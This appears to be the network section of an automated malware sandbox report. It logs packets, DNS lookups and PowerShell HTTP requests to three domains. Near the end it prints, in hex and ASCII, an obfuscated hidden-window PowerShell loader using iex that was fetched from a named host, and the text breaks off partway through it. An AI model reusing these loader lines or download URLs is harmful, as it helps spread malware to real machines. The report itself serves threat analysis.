Dec 19, 2024 11:56:25.346328020 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.362960100 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.362982988 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.363054991 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.363065004 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.363091946 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.363110065 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.378065109 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.378087997 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.378154039 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.378161907 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.378201962 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.390435934 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.390463114 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.390525103 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.390539885 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.390567064 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.390584946 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.404731035 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.404756069 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.404803991 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.404819965 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.404844999 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.404877901 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.418112993 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.418134928 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.418190956 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.418207884 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.418239117 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.418258905 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.432116985 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.432142973 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.432185888 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.432224035 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.432241917 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.432262897 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.446386099 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.446409941 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.446470976 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.446491957 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.446517944 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.446535110 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.537926912 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.537954092 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.538012981 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.538042068 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.538058043 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.538083076 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.548868895 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.548897028 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.548981905 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.549015045 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.549060106 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.558845997 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.558872938 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.558918953 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.558927059 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.558958054 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.558980942 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.567172050 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.567195892 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.567285061 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.567296982 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.567341089 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.576453924 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.576477051 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.576543093 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.576555967 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.576598883 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.584747076 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.584769011 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.584863901 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.584881067 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.584928036 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.593729019 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.593751907 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.593820095 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.593839884 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.593888044 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.602631092 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.602655888 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.602725983 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.602750063 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.602796078 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.730557919 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.730585098 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.730788946 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.730838060 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.730911970 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.736486912 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.736505985 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.736574888 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.736609936 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.736656904 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.744113922 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.744133949 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.744214058 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.744230032 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.744294882 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.750376940 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.750401020 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.750467062 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.750503063 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.750535011 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.750555992 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.756536007 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.756557941 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.756614923 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.756628990 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.756659031 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.756688118 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.764000893 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.764027119 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.764075041 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.764082909 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.764111996 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.764137030 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.769853115 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.769879103 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.769927025 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.769934893 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.769968033 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.769989014 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.776794910 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.776829004 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.776895046 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.776902914 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.776932955 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.776959896 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.922631979 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.922660112 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.922724009 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.922743082 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.922785044 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.928497076 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.928519011 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.928579092 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.928587914 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.928628922 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.935452938 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.935476065 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.935555935 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.935568094 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.935611963 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.942378998 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.942399979 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.942471027 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.942486048 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.942543030 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.948431969 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.948453903 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.948515892 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.948530912 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.948582888 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.955826998 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.955848932 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.955918074 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.955934048 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.955979109 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.961910963 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.961930990 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.961994886 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.962002993 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.962048054 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.968766928 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.968795061 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.968846083 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.968858004 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.968914032 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.114444017 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.114473104 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.114617109 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.114684105 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.114753008 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.120462894 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.120482922 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.120548964 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.120558023 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.120609999 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.127823114 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.127842903 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.127918005 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.127928019 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.127960920 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.134474039 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.134497881 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.134548903 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.134560108 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.134586096 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.134608030 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.141177893 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.141201019 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.141263962 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.141273022 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.141314030 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.141314983 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.147984982 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.148005962 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.148085117 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.148103952 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.148156881 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.154361010 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.154378891 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.154428959 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.154438972 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.154474974 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.154493093 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.160716057 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.160739899 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.160785913 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.160794020 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.160825014 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.160854101 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.306334972 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.306374073 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.306466103 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.306543112 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.306579113 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.306602001 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.313306093 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.313330889 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.313420057 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.313440084 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.313487053 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.314275026 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.314337969 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.314382076 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.314429045 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.314440012 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:26.314490080 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:26.314696074 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:27.282671928 CET	49724	80	192.168.2.7	203.175.174.69
Dec 19, 2024 11:56:27.402257919 CET	80	49724	203.175.174.69	192.168.2.7
Dec 19, 2024 11:56:27.402417898 CET	49724	80	192.168.2.7	203.175.174.69
Dec 19, 2024 11:56:27.402417898 CET	49724	80	192.168.2.7	203.175.174.69
Dec 19, 2024 11:56:27.521954060 CET	80	49724	203.175.174.69	192.168.2.7
Dec 19, 2024 11:56:28.935604095 CET	80	49724	203.175.174.69	192.168.2.7
Dec 19, 2024 11:56:28.976211071 CET	49724	80	192.168.2.7	203.175.174.69
Dec 19, 2024 11:56:30.390681982 CET	49724	80	192.168.2.7	203.175.174.69

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 11:56:18.949400902 CET	61339	53	192.168.2.7	1.1.1.1
Dec 19, 2024 11:56:19.087071896 CET	53	61339	1.1.1.1	192.168.2.7
Dec 19, 2024 11:56:22.744050026 CET	60481	53	192.168.2.7	1.1.1.1
Dec 19, 2024 11:56:22.882419109 CET	53	60481	1.1.1.1	192.168.2.7
Dec 19, 2024 11:56:27.143851042 CET	64631	53	192.168.2.7	1.1.1.1
Dec 19, 2024 11:56:27.281805992 CET	53	64631	1.1.1.1	192.168.2.7
Dec 19, 2024 11:56:37.153239012 CET	61842	53	192.168.2.7	1.1.1.1
Dec 19, 2024 11:56:50.846304893 CET	57140	53	192.168.2.7	1.1.1.1
Dec 19, 2024 11:57:04.503026009 CET	62759	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 11:56:18.949400902 CET	192.168.2.7	1.1.1.1	0xab40	Standard query (0)	www.al-rasikh.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 11:56:22.744050026 CET	192.168.2.7	1.1.1.1	0xc825	Standard query (0)	www.astenterprises.com.pk	A (IP address)	IN (0x0001)	false
Dec 19, 2024 11:56:27.143851042 CET	192.168.2.7	1.1.1.1	0x88af	Standard query (0)	www.bluemaxxlaser.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 11:56:37.153239012 CET	192.168.2.7	1.1.1.1	0x9a9f	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 19, 2024 11:56:50.846304893 CET	192.168.2.7	1.1.1.1	0x4760	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 19, 2024 11:57:04.503026009 CET	192.168.2.7	1.1.1.1	0x76cd	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 11:56:19.087071896 CET	1.1.1.1	192.168.2.7	0xab40	No error (0)	www.al-rasikh.com	al-rasikh.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 11:56:19.087071896 CET	1.1.1.1	192.168.2.7	0xab40	No error (0)	al-rasikh.com		107.161.23.150	A (IP address)	IN (0x0001)	false
Dec 19, 2024 11:56:22.882419109 CET	1.1.1.1	192.168.2.7	0xc825	No error (0)	www.astenterprises.com.pk	astenterprises.com.pk		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 11:56:22.882419109 CET	1.1.1.1	192.168.2.7	0xc825	No error (0)	astenterprises.com.pk		107.161.23.150	A (IP address)	IN (0x0001)	false
Dec 19, 2024 11:56:27.281805992 CET	1.1.1.1	192.168.2.7	0x88af	No error (0)	www.bluemaxxlaser.com		203.175.174.69	A (IP address)	IN (0x0001)	false
Dec 19, 2024 11:56:33.683998108 CET	1.1.1.1	192.168.2.7	0x9305	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 19, 2024 11:56:33.683998108 CET	1.1.1.1	192.168.2.7	0x9305	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 19, 2024 11:56:37.382107019 CET	1.1.1.1	192.168.2.7	0x9a9f	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 11:56:50.987296104 CET	1.1.1.1	192.168.2.7	0x4760	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 11:57:04.721633911 CET	1.1.1.1	192.168.2.7	0x76cd	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

www.al-rasikh.com

www.astenterprises.com.pk

www.bluemaxxlaser.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49724	203.175.174.69	80	1020	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:56:27.402417898 CET	80	OUT	GET /ms/ms.vbs HTTP/1.1 Host: www.bluemaxxlaser.com Connection: Keep-Alive
Dec 19, 2024 11:56:28.935604095 CET	516	IN	HTTP/1.1 404 Not Found Date: Thu, 19 Dec 2024 10:56:28 GMT Server: Apache Content-Length: 315 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49702	107.161.23.150	443	1020	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 10:56:20 UTC	175	OUT	GET /ms/neatez.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.al-rasikh.com Connection: Keep-Alive
2024-12-19 10:56:20 UTC	387	IN	HTTP/1.1 200 OK Connection: close content-type: text/plain last-modified: Thu, 08 Feb 2024 17:21:16 GMT accept-ranges: bytes content-length: 841 date: Thu, 19 Dec 2024 10:56:20 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-12-19 10:56:20 UTC	841	IN	Data Raw: 70 6f 77 65 72 73 68 65 6c 6c 20 2d 77 69 6e 20 68 69 64 64 65 6e 20 24 78 61 64 65 6f 63 3d 69 65 78 28 24 28 27 5b 45 6e 76 69 72 6f 6e 6d 65 6e 74 5d 3a 3a 47 65 74 45 66 38 39 73 27 27 27 2e 52 65 70 6c 61 63 65 28 27 66 38 39 27 2c 27 6e 76 69 72 6f 6e 6d 65 6e 74 56 61 72 69 61 62 6c 65 28 27 27 70 75 62 6c 69 63 27 27 29 20 2b 20 27 27 5c 5c 6e 36 6d 36 6b 31 2e 76 62 27 29 29 29 3b 24 66 6c 6f 6c 3d 69 65 78 28 24 28 27 5b 45 6e 76 69 72 6f 6e 6d 65 6e 74 5d 3a 3a 47 65 74 45 66 38 39 73 27 27 27 2e 52 65 70 6c 61 63 65 28 27 66 38 39 27 2c 27 6e 76 69 72 6f 6e 6d 65 6e 74 56 61 72 69 61 62 6c 65 28 27 27 70 75 62 6c 69 63 27 27 29 20 2b 20 27 27 5c 5c 6a 36 37 2e 76 62 27 29 29 29 3b 66 75 6e 63 74 69 6f 6e 20 67 65 74 69 74 28 5b 73 74 72 69 6e Data Ascii: powershell -win hidden $xadeoc=iex($('[Environment]::GetEf89s'''.Replace('f89','nvironmentVariable(''public'') + 